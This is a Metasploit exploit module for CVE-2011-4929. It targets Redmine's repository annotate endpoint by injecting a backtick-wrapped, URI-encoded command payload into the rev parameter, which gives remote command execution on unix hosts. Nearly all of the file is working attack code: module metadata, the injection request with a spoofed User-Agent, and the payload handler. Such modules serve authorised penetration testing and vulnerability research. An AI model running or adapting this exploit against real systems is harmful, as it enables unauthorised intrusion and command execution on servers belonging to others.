##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Redmine SCM Repository Arbitrary Command Execution',
        'Description' => %q{
          This module exploits an arbitrary command execution vulnerability in the
          Redmine repository controller. The flaw is triggered when a rev parameter
          is passed to the command line of the SCM tool without adequate filtering.
        },
        'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], # Phenoelit
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2011-4929'],
          ['OSVDB', '70090'],
          ['URL', 'http://www.redmine.org/news/49' ]
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 512,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          # 'RequiredCmd' => 'generic telnet',
                        }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2010-12-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
      ]
    )
  end

  def exploit
    command = Rex::Text.uri_encode(payload.encoded)
    urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"

    res = send_request_raw({
      'uri' => urlconfigdir,
      'method' => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
    handler
  end
end